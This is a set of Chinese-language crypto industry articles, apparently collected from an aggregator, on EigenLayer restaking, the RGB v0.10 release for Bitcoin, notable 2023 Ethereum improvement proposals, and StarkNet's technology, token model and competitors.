EigenLayer 已结束其 5000 万美元的 A 轮融资,Blockchain Capital 领投,Coinbase Ventures、Polychain Capital、Hack VC 和 Electric Capital 等其他投资者参与,估值条款没有披露。

这家初创公司由西雅图华盛顿大学助理教授 Sreeram Kannan 于 2021 年创立,EigenLayer 此前在由 Polychain Capital 和 Ethereal Ventures 领投的种子轮融资中筹集了 1450 万美元。该公司表示,它使用户能够重新抵押他们的以太坊并在共识层进行创新,而无需启动全新的区块链。

我所见过的关于“再质押”的最佳解释来自 Crypto Twitter 们的挚爱 Gabriel Haines:“拿着你质押的 ETH……然后再质押它”。

就这么简单,但它是正确的。这个简单的解释说明了为什么“再质押”如此强大。

可以再质押?为什么?质押什么?怎么做?答案是肯定的,重新质押让您可以出于任何目的质押您已经质押的 ETH 。

如果您熟悉曾经的PoW“合并挖矿”(merged mining)概念,这是类似的。合并挖矿是指可以使用相同的“工作”同时挖掘多个网络。一台采矿设备的哈希算力在两个或多个具有兼容 PoW 算法的区块链之间共享。 一台矿机在两个区块链上进行挖矿,产生两种不同的收入来源。

将此应用于权益证明(POS),再质押是指使用相同的资本质押同时保护多个网络。你将你的 ETH 抵押给信标链,已经授权信标链在对网络有恶意时“削减”(slash)你的 ETH。然后,你拿走你质押的 ETH,并从希望质押的其他网络注册额外的削减条件。

例如,您可以在 EigenLayer 之上构建一个 oracle 网络,在那里您可以因为向以太坊提供不良数据而削减您的 ETH,但也会因提供良好数据而获得奖励。

相同的 ETH,不同的网络,新的削减条件,更多的奖励。

对以太坊安全的影响和风险

Restaking 再质押引起了一些以太坊协议开发者的担忧。就像 MEV 一样,重新抵押会产生一些关于以太坊网络长期健康与否的重要问题。Restaking使 ETH 质押者的一致性受到质疑。在重新质押之前,ETH 质押者只服务于一个网络:以太坊。ETH 被抵押给以太坊——而且只有以太坊。

Restaking 让 ETH 质押者从“以太坊一夫一妻制”转变为“网络多妻制”。曾经是以太坊承诺安全来源的机制现在可以选择也向其他网络承诺安全。

如果太多 ETH 质押者成为 ETH 再质押者,以太坊网络的健康是否会受到威胁?如果 ETH 利益相关者也用他们的 ETH 保护其他网络,那么以太坊的安全性显然会因此被稀释。 在尝试了解相关的风险和好处时,我想与《上古卷轴5:天际》 的游戏模组(或modding)做个比较。

先认识下什么叫Mod,游戏模组(MOD)是英文单词modification(意为修改)的缩写,它是游戏的一种修改或增强程序。Mod 是游戏社区生成的更改,以某种方式增强或更改标题。实际的游戏工作室提供“基础游戏”(需要多年的开发成本),然后爱好者通过他们认为有用和有趣的修改来构建基础游戏的网络效应。

《上古卷轴:天际》最大的 mods 是大量的开源项目,它们是经过强化和修改的代码片段。例如:

非官方 Skyrim 补丁- 修复核心 Skyrim 开发者留下的每个主要错误;新 Idles- 玩家和 NPC 的新动画和移动模式;SkyUI -一个巨大的 UI 升级;库存管理,技能树导航等。

这些模组已被下载数百万次,并经历了来自开源贡献者的一系列更新、补丁和修复。它们是很好的代码,可以安全地安装在基础游戏之上。

模组的问题在于它们会让人上瘾。《上古卷轴5:天际》的经典mod是安全的,但用户总有无法满足的渴望去探索新的边界。你安装的奇异mod越多,出错的可能性就越高。当你翻到mod库的第41页,发现自己安装了“小马武器和盔甲以及“ Guards Are Chickens ”模组时,你将面临一堆加载问题和冲突。

当mod冲突的代价仅仅是游戏崩溃时,这是可以接受的,大不了就是一个令人沮丧的下午。但是,当我们将这种模式扩展到再质押时,冒险的是我们的ETH和以太坊的安全。

我们称他们为"Degens"(去中心化金融狂热者)是有原因的——可以想象再质押者将他们的ETH抵押到尽可能多的协议中,试图提高收益以最大化回报。在加密世界,这种行为与赌博无异。

伪神圣化

继续使用mod的比喻,像《天际》这样的顶级mod往往可以被视为“神圣mod”——它们为游戏提供了如此的强化,不安装它们简直是傻子,完全不亏。

在以太坊研究领域,有“神圣rollup”或“神圣oracle”的概念,其中rollup或oracle直接构建在核心以太坊协议本身中。可以将其视为'官方赞助的基础设施',相比其他设施,它享有更高的地位。这也可能是危险的,因为它会影响可信中立性并增加额外的风险,这就是为什么你目前在以太坊中看不到任何这样的事物。

再抵押可能会产生独特的情况,大型网络获得如此多的采用,超过50%的抵押ETH都被重新抵押给它们。在这些情况下,这些网络可能实际上成为“神圣的”以太坊基础设施,而无需任何EIP(以太坊改进提案)将其正式化。

伪神圣的再质押会不利于以太坊吗?

我们应该为这个未来担心吗?

像 Chainlink 这样的网络是否已经建立了这种关系?

一个再抵押的预言机网络会比 Chainlink 更符合以太坊吗?

……有很多悬而未决的问题。

巩固 ETH 作为互联网原生货币的地位

虽然我们提出了很多问题,但可无限修改的安全层的再质押和想法确实对 ETH有利。

这是因为 EigenLayer 为 ETH 和 ETH 质押提供了近乎无限的效用。全新的网络可以作为安全层在 ETH 之上构建。引导一个网络是困难的,但是有了 EigenLayer,新网络能够利用已有的 350 亿美元的安全性,将 ETH 质押商品化为新网络的通用安全性。

在加密货币中,在产生新的 L1 和在现有网络上构建的趋势之间有一个“钟摆”。2017 年,我们在比特币中看到了这种情况,一些项目选择分叉比特币——向 BTC 持有者“空投”新的网络代币,而不是从头开始构建新网络(新的 L1 或以太坊上的 ICO)。

EigenLayer 将激励钟摆从多 L1 侧转移到基于 ETH 的单一共享网络。EigenLayer 是资本产生资本这一思想的下游结论。ETH 和 ETH 验证器是世界上最大的加密经济安全池。从理论上讲,EigenLayer 不关心它与什么网络集成,但它被激励选择现存最大的经济安全来源——ETH 和质押的 ETH。

EigenLayer 让全新类型的网络从 ETH 质押者的安全性中诞生,这些网络的价值最终流向 ETH 质押收益,既刺激了质押 ETH 的动机,也增加了原生 ETH 的价值。每个新网络都是一个新的债券市场,具有不同程度的生产力和收益率,每个新网络都基于系统中最高阶的货币形式:未再质押的 ETH。

如果 EigenLayer 背后的激励和再质押是成功的,ETH 是否会巩固其作为互联网原生债券的地位?Restaking 为 ETH 提供了一条模仿 TradBond 世界的途径:美国国债作为最终结算的手段(仅比现金或中央银行存款高一级),然后是所有其他形式的债券(公司债券、市政债券、垃圾债券等) ,它们只是基础货币的高阶表达式。

再质押作为网络引导

EigenLayer 使网络的访问民主化。

它通过将 ETH 提供的经济安全商品化为普遍可用的产品,降低了启动网络的门槛。这将如何影响网络采用背后的激励机制?

由于安全的资本成本降低,这是否为筹集资金和网络分发开辟了新的道路?那些发现难以筹集风险资本的'长尾'网络可以简单地从EigenLayer寻找网络安全,选择成为早期网络重新抵押者的ETH抵押者可以获得早期的上升空间,代替VC融资。

以下是我如何看待 EigenLayer 为网络引导提供替代路线:

一些开发人员决定使用 Eigen-security 生成一个新网络;他们建立了一个网络,启动了一个主网,并为质押者再质押到他们的网络打开了大门;网络从发展改进、安全保障以及最终从网络产品的实际效用和消费(无论可能是什么)中成长;最终,网络从以太坊“孵化/毕业”的时候到了。该网络追溯性地向再质押者发行代币,以感谢他们在网络年轻且需要培育时提供早期安全性;现在网络拥有自己的原生代币,并且掌握在那些为网络提供了真正经过验证的价值的人手中。首先,网络从 ETH r再质押用户那里获取安全性,然后将其代币提供给这些用户,这是网络安全的新形式。因此,空投接收者的角色永远不会改变,只是提供安全性的资产发生了变化。

再质押用户不支付开发人员工资或营销成本,因此仍然可能存在外部资本需求,但再质押确实改变了权力结构,因为早期网络可以更容易地利用替代资本来源来发展其网络的关键部分。

再质押纪元

EigenLayer 为构建和引导加密网络提供了一个全新的设计空间。我认为我们有望在加密世界中看到熟悉的演变模式:早期实验,然后是概念证明,然后是生产网络……接着是模仿者、狂热,最后是大量的资本注入。

重要的是,我们在关于什么是再质押的对话中有多早,以及它如何影响行业的长期平衡。我们大多不知道再质押的未来会是什么样子。这篇文章中提出的问题只是冰山一角,旨在对这个赛道的潜力进行进一步的对话和启发。

但是,这就是旅途的乐趣,一定还会发现其他机会!

比特币DeFi的重大推进:RGB release v0.10

原文:Trust Machines

编译:GWEI Research

有一个比特币层你可能没有给予足够的重视:RGB。他们的团队已经默默地开发了好几年。最新发布的v0.10版本在实现比特币DeFi方面取得了重大进展。以下是它的工作原理:

尽管RGB对许多人来说可能是新事物,但它实际上是在2018年首次提出的。最初,它受到了Giacomo Zucco关于闪电网络上的“彩色硬币”的启发,以及Peter Todd开发的两个概念:客户端验证和一次性封印(稍后我们会解释)。

2019年,@dr_orlovsky和@giacomozucco成立了@LNP_BP标准协会,将RGB及其相关工具付诸实践。最初作为一种代币协议的“彩色硬币”概念现已发展成为比特币的成熟智能合约系统。

以下是使RGB独一无二的特点:

⚡ 与闪电网络兼容

💱 图灵完备智能合约

🔐 零知识证明

🔍 客户端验证

🔥 一次性封印

让我们深入了解每一个特点:

与闪电网络兼容:RGB可以通过Bifrost扩展与闪电网络接口,实现近乎即时结算,无需等待新的比特币区块被挖掘。图灵完备的智能合约:图灵完备意味着RGB网络作为一种编程语言,可以执行简单和复杂的计算。例如根据某些条件执行“if > then”语句。(比特币网络本身无法做到这一点。)基于零知识证明:RGB网络上的交易使用零知识(ZK)证明,使每笔交易都保持私密。通过这些算法,资产接收方可以在不了解资产来源的任何额外信息的情况下验证其有效性。客户端验证:与在比特币本地进行验证不同,零知识验证发生在客户端。如果你使用RGB网络,你不需要验证每个人的交易,只需验证你自己的。这对可扩展性来说是一个巨大的优势!一次性封印:每当RGB网络上的智能合约状态发生变化时,所有者钱包中会创建一个比特币原生UTXO。当所有者在RGB网络上提交交易时,该UTXO被消耗/关闭。

以下是一个实际应用示例:

假设Matt想要在RGB网络上发行100个新的$MATT代币。他会在RGB网络上给自己发行100个新的$MATT代币。然后,这些$MATT代币的状态将被分配给Matt拥有的一个原生比特币UTXO。

接下来,Matt想要给他的朋友Pam发送50个$MATT。

Matt将消耗这个原生UTXO(记住,它是一次性的...)并在RGB上给Pam发行50个$MATT。

这将在Pam拥有的钱包中记录为一个新的原生UTXO,而Matt剩下的50个$MATT也会记录为一个新的原生UTXO。

Pam的UTXO对比特币网络是不可见的,这意味着比特币网络对RGB层没有任何了解。

因为Matt > Pam的交易发生在RGB层上,Matt无法知道Pam选择了哪个原生UTXO。Pam也无法知道Matt的新UTXO。因此,隐私得到了保护。

后来,Matt又给他的朋友Bob发送了10个$MATT。

他的50个$MATT的UTXO被消耗掉,10个$MATT被发送给Bob,以及在Matt的钱包中保留的一个新的40个$MATT的UTXO。

现在,Bob把他的10个$MATT发送给他的另一个朋友Jerry。

Bob的10个$MATT的UTXO被消耗掉,Jerry收到一个新的包含10个$MATT的UTXO。

然后,Jerry把10个$MATT发送给他的朋友Lisa。同样,Lisa得到一个新的UTXO。

通过零知识证明,Lisa可以使用来自Jerry的数据验证这些代币的来源,而无需了解Bob、Matt或Pam的任何信息。

/ 示例结束(你做到了!)🕟

那么,v0.10更新有什么新内容呢?很高兴你问到这个🧑‍🏫

这个重要的里程碑引入了最后的共识破坏性变更,这意味着未来的RGB版本将从这里开始向后兼容,使其共识层随着时间的推移变得更加强大。

V0.10解锁了开发者实现完全功能智能合约所需的最后剩余功能,如:

🔴 大量API改进

🟢 对RUST编程语言的支持

🔵 一种新的命令行工具,以便更容易地访问网络

除了代币发行,RGB还可以支持NFT、DAO和完整的DeFi应用程序,如交易所或流动性池。

虽然RGB协议还处于早期阶段,但我们很期待看到随着时间的推移和开发者更多地参与其中,RGB将如何发展和演变。

顺便说一下,我们是Trust Machines👋

我们正在构建最大的比特币应用生态系统,以最大限度地发挥比特币网络的价值。

关注我们了解更多信息,并分享这个帖子,如果你从中学到了一些新知识!

2023 年有哪些值得关注的以太坊改进提案?

作者 | 黑米,白泽研究院

以太坊开发者社区不断突破创新界限,以改善去中心化应用程序 (dApp) 的用户体验。

EIP 和 ERC 分别是提案和正式的标准,旨在改进以太坊网络的功能。

它们实际上也代表了以太坊的主要功能之一:使用各种标准创建和管理自定义代币的能力。

像可替代代币 ERC-20,以及不可替代代币 ERC-721、ERC-1155 等标准,在以太坊生态系统的发展和成功中发挥了至关重要的作用,开发人员通过它们创建了许多独特且创新的 dApp。

以太坊还有其他几个标准帮助它成为一个繁荣的生态系统,包括 ERC-777(ERC-20 的安全升级)、ERC-3643(安全代币标准)等。

但这绝对不是以太坊创新道路上的终点。

在 2023 年,最新推出且最激动人心的标准是 ERC-4337,也被称为“智能钱包”标准或账户抽象。它旨在简化用户体验,因此有望成为区块链被下一个十亿用户采用的游戏规则改变者。

此外,还有其他 3 个提案也在 2023 年上半年掀起了波澜。

ERC-4337:开启无私钥时代

ERC-4337 旨在将用户使用的 EOA 账户升级为「智能账户」,使账户能够作为智能合约运行。这意味着每个加密钱包都可以有可定制的授权逻辑,以满足个人用户或应用程序的需求。

因此,ERC-4337 经常被称为“智能钱包”标准,或者也被称为“账户抽象”。

加密钱包是任何想要在区块链上交互的人的切入点,也是阻碍大规模采用的主要摩擦来源之一。为什么?

这个问题的答案其实也就是 ERC-4337 的所有优点:

- 简化访问:ERC-4337 提供了在不存储私钥的情况下使用账户的可能性。私钥可以存储在智能手机的标准安全模块中。

- 账户恢复:如果你丢失了手机或者私钥,可以通过使用社交恢复功能联系之前指定的用户(多重签名)即可帮你恢复对账户的访问。如果你没有可信赖的朋友,也可以向提供该服务的第三方公司支付费用,以在需要时帮助你恢复账户。

- 自动交易:ERC-4337 允许自动交易,包括每月支出限额、AI 交易和调整质押头寸。这些功能可以让用户更容易地进行交易。

- 无 Gas 交易:ERC-4337 支持无 Gas 交易,这允许 DeFi、链游、DAO 等 dApp 为用户赞助 Gas 费用,从而使用户的交易更轻松。此功能还允许用户使用 dApp 的代币支付 Gas 费用,这可以大幅降低 dApp 的使用成本。

- 捆绑交易:每笔交易都需要签名。通过账户抽象,可以捆绑交易,将多笔交易作为一个发送,以节省时间甚至节省 Gas 费用。类似购物车,即使面对 10 个市场也能够一笔交易完成打包。

- 预先批准交易:假设你正在铸造多个 NFT,或者在玩一款游戏。使用智能账户,你可以根据提前设置自定义的钱包代码和会话密钥,预先批准交易。 

ERC-4337 还有很多其他用例,但都是使用户的 dApp 使用体验像 Web2 应用程序一样简单。这就是为什么 ERC-4337 经常被以太坊社区称为是“区块链被下一个十亿用户采用的游戏规则改变者”。

尽管对它的采用仍处于早期阶段,但开发者社区正在大力开发新产品以释放智能账户的惊人潜力。

ERC-6551:让 NFT 成为真正的链上身份

ERC-6551 背后的想法是将 NFT(ERC-721)和智能账户联系起来,成为代币绑定账户(TBA)——是的,它建立在 ERC-4337 标准之上。

ERC-6551 旨在让每个 NFT 背后都有一个对应的 TBA,能够让 NFT 与应用程序交互,记录交易历史并拥有链上资产(值得注意的是,它不需要更改现有的 ERC-721)。

举个例子,小明从一个项目中获得了一个 NFT,随后这个项目决定对 NFT 持有者进行代币空投,并且也发布了一系列 POAP,供持有者领取。场景 A——没有使用 TBA当小明决定出售他的 NFT 时,与 NFT 相关的代币、POAP 都不会转移给买家。场景 B——使用了 TBA所有与 NFT 相关的代币领取、POAP 领取,都会记录在 NFT 本身。在进行 NFT 出售时,买家也会看到这些记录,所有相关的代币、POAP 也都会一并转移给买家。如果缺失了这些,那么 NFT 的价值可能也会大打折扣。

ERC-6551 的动机是增强 NFT 的能力,使之成为链上身份的一种形式。

猜想 TBA 的用例:

- 角色扮演游戏中的角色,根据时间的推移和他们采取的行动(例如掘金),积累资产

- 元宇宙中的一辆汽车,由 NFT 作为“组件”组成

- 一张打孔式通行证会员卡,授予进入机构的权限并记录过去互动的历史

- 社交媒体资料,让用户拥有自己的内容和数据

ERC-5507:代币销售可退款,减少诈骗

ERC-5507,有时也被称为 ERC-721R,因为它是 NFT 的 ERC-721 标准的演变。

它的目标是为可替代代币和不可替代代币(ERC-20、ERC-721 和 ERC-1155)添加退款功能:在预设时间过去之前,用户有权退款他们所购买的代币。

ERC-5507 的动机是通过加强加密行业的问责制来帮助防止 Rug Pulls 和诈骗,并为买家提供更大的保护。顺便说一句,它也会让遵循该标准的代币符合欧盟法规——在线购买的商品有 14 天的退款期。

ERC-5507 的一些重点和好处是:

- 建立与各种 NFT 相关应用程序的互操作性,例如投资组合浏览器和市场。

- NFT 市场可以放置一个标志,表明 NFT 仍然可以退款,并提供退款 NFT 的网站链接。

- 去中心化交易所(DEX)可以提供代币的退款选项。

- 更好的钱包确认对话框。

然而,使用 ERC-5507 也存在挑战和缺点:Gas 成本增加、退款政策滥用、实施起来困难……这些目前正在以太坊社区内讨论,因此不确定该 EIP 是否会通过(目前在评审期)。

值得注意的是,EIP-5507 和 ERC-5507 的出现反映了加密行业想要解决合规性、投资者保护问题的意愿。

EIP-4844:为以太坊分片做准备

EIP-4844 是一项重要的以太坊改进提案,是以太坊 DankSharding 分片之前的步骤,旨在通过以太坊节点实现链下数据的临时存储和检索,以满足区块链应用程序的数据和存储需求。

该提案引入了 blob-carrying 交易(分片所需的交易格式),此类交易使 blobs 能够保存更多数据而不会产生额外成本。blob 是一种为 L2 的数据传输所专门设计的数据类型,blobs 并不是永久性的,因为网络会在几周后将其删除。

如果成功激活,EIP-4844 有望降低 L2 rollup 解决方案(包括 Optimism 和 Arbitrum)的交易成本,减少 10-100 倍。

除了引入 blob-carrying 交易,EIP-4844 还将为分片做准备,实现执行层逻辑、验证规则、多维费用市场以及未来分片所需的其他系统变化。

EIP-4844 预计将在 2023 年下半年实施,但可能会有延迟。

总结

上述的这些 EIP 和 ERC 使新的用例成为可能,并使用户更容易与 dApp 交互——对于 ERC-4337 来说尤其如此。

2023 年可能是开发者的一年,因为整个加密行业都在期待这些 EIP 和 ERC,并希望在 2024 年看到工作成果——这或许会开启下一次牛市?

无论如何,值得我们密切关注。

风险提示:

根据央行等部门发布的《关于进一步防范和处置虚拟货币交易炒作风险的通知》,本文内容仅用于信息分享,不对任何经营与投资行为进行推广与背书,请读者严格遵守所在地区法律法规,不参与任何非法金融行为。

StarkNet 技术风险、经济模型与评论

作者:郑金城 新跃社科大学研究员,全球金融科技学院、Biteye 建设者,Ocean Views 专栏作家李国权 新跃社科大学教授,新加坡经济协会副会长,全球金融科技学院主席

Arbitrum 空投的财富效应点燃了市场对L2的信心,纷纷布局还未发币的L2。而80亿美元高估值的StarkWare自然是备受瞩目。那么StarkWare是有什么独特的技术值得各大机构热捧?旗下的StarkNet想要解决问题?我们将在本文中一一道来。

1.STARKs, StarkEx, StarkNet

1.1 STARKs

STARKs(Scalable, Transparent ARgument of Knowledge)是一种可以证明和验证计算的证明系统,旨在提高以太坊的扩展性。它允许将大型计算从链上转移到链下以降低成本,为计算的正确性生成证明,然后在链上进行少量的计算来验证证明。即验证者通过在链上执行非常少的操作来判断链下完成的计算的完整性。

L2 通过STARKs技术将多笔交易打包在一起进行数以千计的计算,然后使用单个STARK证明在链上验证它们的有效性。该批次内的所有交易共同分担链上处理的成本,从而在继承以太坊安全性的前提下降低了Gas成本,改善用户体验。这模式与共享的士的用户平摊路费相似。

SNARKs (Succinct,Non-Interactive,Argument,Knowledge)是一个简洁的非交互式的证明。STARKs 和 SNARKs 都是ZK Rollups 的解决方案。

SNARKs 和 STARKs 对比

来源:SUSS NiFT, ChatGPT来源:SUSS NiFT, ChatGPT

相比 SNARKs, STARKs具有以下三个优势:

去信任

STARKs 公开可验证随机来取代SNARKs的可信设置,减少对参与人的依赖,提高协议安全性。

更强的扩展能力

STARK 具有验证的对数压缩特性,即使底层计算的复杂性呈指数级增长,STARKs依然保持了较低的证明和验证时间,而非像SNARKs 线性增长。

更高的安全保证

STARKs 使用抗碰撞哈希值进行加密,可抗量子计算的攻击。

但是STARKs 的证明尺寸比 SNARKs 大,因此L2交易量较低时就会难以分摊证明成本,出现较大的确认延迟。但是当证明规模增加,使用STARKT的边际成本会递减,适合大规模应用。此外,相对于SNARKs,目前STARKs采用率不足,基础工具还有待完善。

L2 Rollups 除了 ZK Rollups,还有Optimistic Rollups。以下是两种方案的对比。

来源:SUSS NiFT,ChatGPT来源:SUSS NiFT,ChatGPT

以80亿美元估值完成1亿美元D轮融资的StarkWare提供了两种使用 STARK 扩展以太坊的解决方案:StarkEx 和 StarkNet。

1.2 StarkEx

StarkEx 是一个需要许可的、为特定应用程序定制的扩展解决方案的框架。项目可以使用StarkEx来进行低成本的链下计算,生成证明执行正确性的STARK证明。这样的证明包含 12,000–500,000 笔交易。最后将证明发送到链上的 STARK 验证器,验证正确后接受状态更新。

StarkEx 提供了3种数据存储方式。在 ZK-Rollup 模式下,数据存储在链上,使数据去中心化,便于用户跟踪和监督。然而,在链上发布数据的成本高。在 Validium 模式下,数据存储在链下,低成本且不会把数据公开暴露。但需要数据可用性委员会来监督数据是否得到妥善处理。 Volition 是一种混合数据可用性模式,用户可以选择将数据放在链上还是链下。

在 StarkEx 上部署的应用程序包括永久期权 dYdX、NFT L2 Immutable、体育数字卡牌交易市场 Sorare 和多链DeFi聚合器rhino.fi。

StarkEx 适用于独立运行且适合 StarkEx API 的协议。 

1.3 StarkNet

StarkNet 是一个无需许可的L2,任何人员都可以在其中部署以Cairo语言开发的智能合约。部署在 StarkNet 上的合约之间可以进行交互来构建新的可组合协议。 

与应用程序负责提交交易的 StarkEx 不同,StarkNet 的排序器批量交易并发送它们进行处理和证明。

StarkNet 更适合需要与其他协议同步交互或超出 StarkEx 应用范围的协议。随着StarkNet开发的进展,基于StarkEx的应用将能够移植到StarkNet,享受可组合性。

1.4 Cairo

Cairo 是用于 STARK 证明通用计算定制的编程语言, 使开发、审查和维护代码更简单、快捷,不受EVM限制,可以抛弃以太坊的历史负担做更复杂的计算如账户抽象,在游戏开发上也更加灵活,支持全链上游戏。StarkNet 本身不支持EVM,但从 Solidity 到 Cairo 的转译器 Warp将有助于以太坊原生项目移植到 StarkNet,成为大规模应用的基础设施。

1.5 SHARP(shared prover) 共享证明器

SHARP 技术允许来自 StarkEx 的不同应用以及 StarkNet 上发生的交易合并成一个证明,更快填满 STARK 证明的容量,提高交易处理速度并且分担验证 L1 证明的 gas 成本。

2. StarkNet 经济模型

StarkWare已经在链下铸造了100亿个StarkNet代币。但是这些代币并不代表StarkWare的股权,也不提供任何参与StarkWare的权利或赋予任何向StarkWare提出索赔的权利。StarkNet代币可以作为原生代币支付Gas费用,相比其他使用ETH做给Gas费用的L2,StarkNet代币更能捕获生态价值,且降低了ETH这外生代币带来的冲击。分配给核心贡献者和投资者的代币有一年的等待期和四年的锁定期,线性释放。

来源:StarkWare. https://medium.com/starkware/part-3-starknet-token-design-5cc17af066c6

StarkNet 明确给开发者和过去StarkEx用户奖励,但未明确StarkNet用户是否有空投。首次代币分配中有8.1%的代币还未决定用途,具体方式由社区决定。因此笔者猜想这部分代币有可能用于奖励StarkNet用户。此外,部署合约的项目方在获得空投奖励后,有可能会给应用的用户分配空投,反馈早期支持者。因此,用户可以根据需要正常使用 StarkNet 上有价值的应用。

3. StarkNet 融资情况

根据Crunchbase的数据,StarkNet 在七轮融资中总共获得2.825亿美元。

来源:Crunchbase, SUSS NiFT来源:Crunchbase, SUSS NiFT

2022年7月,Alameda Research追加950万美元投资。但是Alameda Research已于2022年11月破产,这笔投资是否收到存疑。

以太坊基金会的拨款树立了StarkWare的正统性。

来源:https://starkware.co/about-us/ 来源:https://starkware.co/about-us/

4.创始人

Eli Ben-Sasson

Eli 是StarkWare的联合创始人兼总裁,也是其董事会主席。

自从2001年获得希伯来大学理论计算机科学博士学位以来,他一直在研究密码学和计算完整性的零知识证明。Eli是STARK、FRI和Zerocash协议的共同发明人,也是Zcash公司的创始科学家。多年来,他在普林斯顿高等研究院、哈佛大学和麻省理工学院担任研究职位。最近曾在以色列理工学院担任计算机科学教授,他离开该职位后和伙伴共同创立了StarkWare。

Uri Kolodny

Uri 是 StarkWare 的联合创始人兼首席执行官,也是其董事会成员。

他拥有希伯来大学计算机科学学士学位(优等生)和麻省理工学院斯隆管理学院的MBA学位。Uri是一位连续创业者,曾共同创立了几家科技公司,包括Mondria(开发用于大数据可视化的工具)。之前,Uri还曾在两家以色列风险投资公司帮忙孵化项目,并在麦肯锡公司担任分析师。

5. 竞争对手

StarkNet与 zkSync、Optimism、Arbitrum 因为其受到的关注度被称为L2的四大天王。

来源:SUSS NiFT来源:SUSS NiFT

数据来源:(2023.4.21) 

1.https://dune.com/gm365/L2

2.https://www.coingecko.com/

3.https://defillama.com/

Optimism和Arbitrum采用乐观rollup,开发难度较低,已经具有较为完善的生态系统,吸引了大量资金和用户,甚至走出了如GMX,Gains Protocol 这样的优秀L2原生协议。

Vitalik 在ETHSeoul 期间表示,虽然 Optimistic Rollups更加发达,但ZK Rollups技术的基础将使其最终能够取代 Optimistic Rollups。虽然ZK Rollups 速度更快,但它们缺少以太坊虚拟机 (EVM),这使得运行dApps具有困难。因为EVM 是dApps的主要处理单元。所以基于ZK的Rollups正在开发兼容EVM的方案。如果开发进程缓慢,则ZK Rollups 有可能失去先发优势,让Optimistic Rollups稳坐宝座。这类似于以太坊和其他L1之间的竞争,虽然以太坊的性能不是最好的,但是凭借先发优势牢牢吸收住最多的资金和最优秀的开发者。

StarkNet不仅面对采用Optimistic Rollups的L2竞争,也面对同样采用ZK Rollups的L2竞争。根据Eshita Nandini的总结,目前有多个L2正在构建ZK EVM。

来源:Messari, SUSS NiFT来源:Messari, SUSS NiFThttps://www.bsc.news/post/vitalik-zk-rollup-will-beat-optimistic-in-ethereum-scaling-warhttps://messari.io/report/an-update-on-zkevm-progress-and-development?referrer=all-research

Type-1是ETH等效,可100%无缝使用EVM 基础设施,但证明过程很缓慢。Taiko通过在零知识证明生成前快速确认最终性来减轻这一缺点。具体方式即只需证明过去状态X有效,且在X之后没有来自账户A的交易,因此用户可以提取其在状态X中的代币。目前已经完成 alpha-2 中测试了去中心化证明和协议经济学,其中有126位独立证明者,已证明了93,146 个区块,证明时间在130到 160 秒之间。Taiko目前已经弃用了alpha-2,并将在第二季度推出 alpha-3。由于 Type-1 zkEVM 在实现等效性方面毫不妥协,具有较大的复杂性,今年可能不会有主网。

Type-2 EVM等效,证明速度相对Type-1改善,但仍旧慢。Type2 是Scroll,Linea的目标,Polygon zkEVM已经实现。Polygon zkEVM主网 Beta 版本已经于3月27日如期上线。在主网 Beta 的第一阶段,专门的安全委员会将能够快速升级 Polygon zkEVM。在第二阶段,将采取一系列措施,以确保在出现任何问题时用户能够得到保护,但权力下放程度更高,并且没有具有特权访问权限的安全委员会。Gas Fee 以 ETH 支付,预计未来 Polygon zkEVM 中的质押和治理将使用 MATIC 代币,此外,Polygon zkEVM 通过 ERC-4337 支持帐户抽象,将允许用户使用任何代币支付费用。

Scroll 和以太坊基金会一起开源开发zkEVM,将通过并行计算和证明外包给旷工来缩短证明时间。Scroll处于Alpha测试网阶段,可以进行跨链和转账,已经无障碍运行两个月,预计二季度上线主网。

3月28日,ConsenSys 宣布将 ConsenSys zkEVM 重塑为 Linea,目前向所有开发人员、用户或协议开放测试。Linea 通过 MetaMask 和 Truffle 等原生集成,将零知识证明与 EVM 等效性相结合,为开发者提供灵活性和可扩展性,无需ZK技术专业知识。Linea 采用多证明人系统,当代码中存在漏洞时,多重签名可以强制执行特定结果。通过这个系统,一个 rollup 将利用几种具有不同安全级别的证明机制,以消除单证明人 rollup 存在的单点故障风险。

Type-3 几乎EVM等效,更快的证明,但部分app需要重新开发。Type3是Scroll目前所处的过渡阶段。Kakarot是一个用Cairo编写的zkEVM,作为EVM字节码的解释器,最终可能成为StarkNet上的L3,目前归类Type-3。

Type-4,将用高级语言如Solidity编写的智能合约源代码,编译成ZK-SNARK友好的语言。证明速度很快,但不太兼容。zkSync Era已经上线,对普通用户开放。目前分担zkSync gas fee的用户不多,因此交互成本较高,部分项目方对gas fee进行了补贴。由于Arbitrum空投的财富效应,社区用户交互热情高涨,但是目前zkSync上土狗项目居多,发生了多起rug pull事件。StarkNet 使用 Warp 作为 Solidity 到 Cairo 的编译器。StarkNet 是目前唯一一个将其排序器和证明器去中心化的 zkEVM。但目前StarkNet还未发布生产级别版本,只适合用户小额交互体验,任务常常执行失败。

Vitalik还提出了Optimistic和ZK混合的模式。zkEVM 成熟之前, 发布区块链等待24小时,如果没有欺诈挑战就发布零知识证明,确定区块。如果有挑战,就引入治理,通过2 of 3模式裁定。如果零知识证明时间能大幅缩短,另外一种混合模式就以发布零知识证明为主,只有当零知识证明未能正常发布,才使用Optimistic Rollup。这既可能会是StarkNet的一条可选发展路径也可能会使竞争方式。

https://taiko.mirror.xyz/EM1IEpF_Pd9_WuPxw3EQPHNHmaXzh7kljMSolP754AIhttps://polygon.technology/blog/polygon-zkevm-mainnet-beta-is-livehttps://scroll.io/blog/alphaTestnethttps://twitter.com/ConsenSys/status/1640641312201293826 https://twitter.com/VitalikButerin/status/1553342590786813952

6.总结

StarkNet采用了基于STARK的Rollup路线,虽然该方案相对于其他方案在去中心化、去信任、抗审查等方面有明显的优势,但是由于该方案的开发工具尚不成熟,研发难度也很大,性能还有待提升。

此外,虽然StarkNet已经得到了机构投资者的支持,但目前仍处于试用阶段,尚未完全成熟。StarkNet下一阶段的重点是将现在由Python开发的sequencer升级为由Rust进行开发,提高区块链的性能。此外是提高生态内项目的丰富度和成熟度。加密原生用户可以去体验生态内项目,但需注意项目的风险,选择参与前需要进行充分的风险评估。虽然StarkNet具有抗量子攻击的特性,但是否会成为扩容的终局还有待观察。因此,对于StarkNet的未来发展,我们需要持续关注和评估。

区块链的安全性是整个生态系统的重中之重,底层基础层的安全性绝不能被忽视、妥协、让步、或折衷,否则整个生态系统与账本将会失去用户的信任。因此,在基础层的设计中,需要选择最为安全的共识算法,即使它的能源消耗可能很高。这个问题可以通过采用类似在纳斯达克上市的Irish Energy Limited所倡导的可再生能源挖矿来解决。相比之下,第二层的中心化程度可以更高,以实现更高的效率和灵活性。不管是底层还是上层,都需要遵循合理的设计原则,以确保整个生态系统的安全性和可靠性。任何依赖于以太坊基础层安全性的第二层或应用,都必须对基础层的共识算法有充分的信心,确保其安全性不受损害。这可能是社区面临的最大系统性风险。

